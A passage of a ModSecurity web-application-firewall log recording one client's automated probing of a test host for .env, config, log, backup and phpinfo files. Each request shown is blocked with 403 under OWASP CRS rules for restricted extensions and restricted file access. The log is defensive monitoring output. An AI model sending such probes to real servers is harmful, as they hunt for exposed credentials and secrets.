[Sun Nov 30 15:25:23.472488 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSxT00R0pJY8_qkvKEEffwAAAAM&quot;]
[Sun Nov 30 15:25:23.472689 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env&quot;] [unique_id &quot;aSxT00R0pJY8_qkvKEEffwAAAAM&quot;]
[Sun Nov 30 15:25:24.372137 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfgwAAAAM&quot;]
[Sun Nov 30 15:25:24.372483 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfgwAAAAM&quot;]
[Sun Nov 30 15:25:24.372686 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.config&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfgwAAAAM&quot;]
[Sun Nov 30 15:25:24.597029 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /themes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfhAAAAAM&quot;]
[Sun Nov 30 15:25:24.597253 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfhAAAAAM&quot;]
[Sun Nov 30 15:25:24.597451 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/themes/.env&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfhAAAAAM&quot;]
[Sun Nov 30 15:25:24.821574 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfhQAAAAM&quot;]
[Sun Nov 30 15:25:24.821927 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfhQAAAAM&quot;]
[Sun Nov 30 15:25:24.822128 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/logs/error.log&quot;] [unique_id &quot;aSxT1ER0pJY8_qkvKEEfhQAAAAM&quot;]
[Sun Nov 30 15:25:25.270942 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /v1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfhwAAAAM&quot;]
[Sun Nov 30 15:25:25.271158 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfhwAAAAM&quot;]
[Sun Nov 30 15:25:25.271349 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/v1/.env&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfhwAAAAM&quot;]
[Sun Nov 30 15:25:25.495292 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tools/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfiAAAAAM&quot;]
[Sun Nov 30 15:25:25.495520 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfiAAAAAM&quot;]
[Sun Nov 30 15:25:25.495723 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfiAAAAAM&quot;]
[Sun Nov 30 15:25:25.720122 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfiQAAAAM&quot;]
[Sun Nov 30 15:25:25.720293 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /vendor/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfiQAAAAM&quot;]
[Sun Nov 30 15:25:25.720502 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfiQAAAAM&quot;]
[Sun Nov 30 15:25:25.720800 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/.env.old&quot;] [unique_id &quot;aSxT1UR0pJY8_qkvKEEfiQAAAAM&quot;]
[Sun Nov 30 15:25:27.074193 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aSxT10R0pJY8_qkvKEEfjwAAAAM&quot;]
[Sun Nov 30 15:25:27.074460 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aSxT10R0pJY8_qkvKEEfjwAAAAM&quot;]
[Sun Nov 30 15:25:27.074689 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aSxT10R0pJY8_qkvKEEfjwAAAAM&quot;]
[Sun Nov 30 15:25:28.201003 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aSxT2ER0pJY8_qkvKEEflAAAAAM&quot;]
[Sun Nov 30 15:25:28.201345 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aSxT2ER0pJY8_qkvKEEflAAAAAM&quot;]
[Sun Nov 30 15:25:28.201550 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.php.old&quot;] [unique_id &quot;aSxT2ER0pJY8_qkvKEEflAAAAAM&quot;]
[Sun Nov 30 15:25:28.875485 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aSxT2ER0pJY8_qkvKEEflwAAAAM&quot;]
[Sun Nov 30 15:25:28.875692 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aSxT2ER0pJY8_qkvKEEflwAAAAM&quot;]
[Sun Nov 30 15:25:28.875882 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aSxT2ER0pJY8_qkvKEEflwAAAAM&quot;]
[Sun Nov 30 15:25:29.325514 2025] [:error] [pid 429217] [client 18.228.238.136:57916] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag 